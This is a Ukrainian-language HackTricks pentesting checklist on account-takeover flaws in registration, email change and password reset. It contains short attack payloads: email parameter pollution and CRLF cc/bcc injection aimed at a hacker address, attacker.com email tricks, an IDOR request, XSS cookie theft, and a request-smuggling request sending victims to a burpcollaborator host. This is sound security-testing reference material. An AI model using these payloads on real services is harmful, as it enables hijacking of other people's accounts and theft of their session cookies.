Registration & Takeover Vulnerabilities

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Захоплення облікового запису під час реєстрації

Повторна реєстрація

  • Спробуйте створити обліковий запис з використанням існуючого імені користувача

  • Перевірте варіанти електронної пошти:

    • великі літери

    • +1@

    • додайте кілька крапок в електронну пошту

    • спеціальні символи в імені електронної пошти (%00, %09, %20)

    • Після електронної пошти додайте чорні символи: test@test.com a

    • victim@gmail.com@attacker.com

    • victim@attacker.com@gmail.com

Перелік імен користувачів

Перевірте, чи можете ви визначити, коли ім'я користувача вже було зареєстровано в додатку.

Політика паролів

Створюючи користувача, перевірте політику паролів (перевірте, чи можна використовувати слабкі паролі). У цьому випадку ви можете спробувати перебрати облікові дані.

Внедрення SQL

Перевірте цю сторінку , щоб дізнатися, як спробувати захопити облікові записи або витягнути інформацію через SQL-ін'єкції в формах реєстрації.

Захоплення облікових записів через Oauth

pageOAuth to Account takeover

Вразливості SAML

pageSAML Attacks

Зміна електронної пошти

Після реєстрації спробуйте змінити електронну пошту та перевірте, чи ця зміна правильно перевіряється або чи можна змінити її на довільні електронні адреси.

Додаткові перевірки

  • Перевірте, чи можна використовувати одноразові електронні адреси

  • Довгий пароль (>200) призводить до DoS

  • Перевірте обмеження на швидкість створення облікових записів

  • Використовуйте username@burp_collab.net та проаналізуйте зворотний виклик

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR на параметрах API

  1. Атакер повинен увійти у свій обліковий запис та перейти до функції Змінити пароль.

  2. Запустіть Burp Suite та перехопіть запит.

  3. Надішліть його на вкладку Repeater та відредагуйте параметри: ID користувача/електронна пошта powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Слабкий токен скидання пароля

Токен скидання пароля повинен бути випадково згенерованим та унікальним кожного разу. Спробуйте визначити, чи токен закінчується або він завжди однаковий, у деяких випадках алгоритм генерації слабкий і може бути вгаданим. Наступні змінні можуть бути використані алгоритмом.

  • Відмітка часу

  • ID користувача

  • Електронна пошта користувача

  • Ім'я та прізвище

  • Дата народження

  • Криптографія

  • Тільки цифри

  • Невелика послідовність токенів (символи між [A-Z,a-z,0-9])

  • Повторне використання токену

  • Дата закінчення токену

Витік токену скидання пароля

  1. Запустіть запит на скидання пароля за допомогою API/UI для певної електронної пошти, наприклад: test@mail.com

  2. Огляньте відповідь сервера та перевірте resetToken

  3. Потім використовуйте токен у URL-адресі, наприклад https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Скидання пароля через колізію імен користувачів

  1. Зареєструйтеся в системі з ім'ям користувача, ідентичним імені користувача жертви, але з пробілами, вставленими перед і/або після імені користувача. наприклад: "admin "

  2. Запитайте скидання пароля зі своїм зловмисним ім'ям користувача.

  3. Використовуйте токен, відправлений на вашу електронну пошту, та скиньте пароль жертви.

  4. Підключіться до облікового запису жертви за допомогою нового пароля.

Платформа CTFd була вразливою до цього нападу. Див. CVE-2020-7245

Перехоплення облікового запису через міжсайтовий скриптінг

  1. Знайдіть XSS в програмі або піддомені, якщо файли cookie налаштовані на батьківський домен: *.domain.com

  2. Витік поточного сеансу cookie

  3. Аутентифікуйтеся як користувач, використовуючи cookie

Перехоплення облікового запису через HTTP Request Smuggling

1. Використовуйте smuggler, щоб виявити тип HTTP Request Smuggling (CL, TE, CL.TE) powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h 2. Сформуйте запит, який перезапише POST / HTTP/1.1 з наступними даними: GET http://something.burpcollaborator.net HTTP/1.1 X: з метою перенаправлення жертв на burpcollab та вкрадення їхніх файлів cookie 3. Кінцевий запит може виглядати наступним чином

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone reports exploiting this bug\

Взяття облікового запису через CSRF

  1. Створіть полезне навантаження для CSRF, наприклад: "HTML-форма з автоматичним відправленням для зміни пароля"

  2. Надішліть полезне навантаження

Взяття облікового запису через JWT

Можливо, використовується JSON Web Token для аутентифікації користувача.

  • Редагуйте JWT з іншим ідентифікатором користувача / електронною поштою

  • Перевірте на слабкий підпис JWT

pageJWT Vulnerabilities (Json Web Tokens)

References

Вивчіть хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated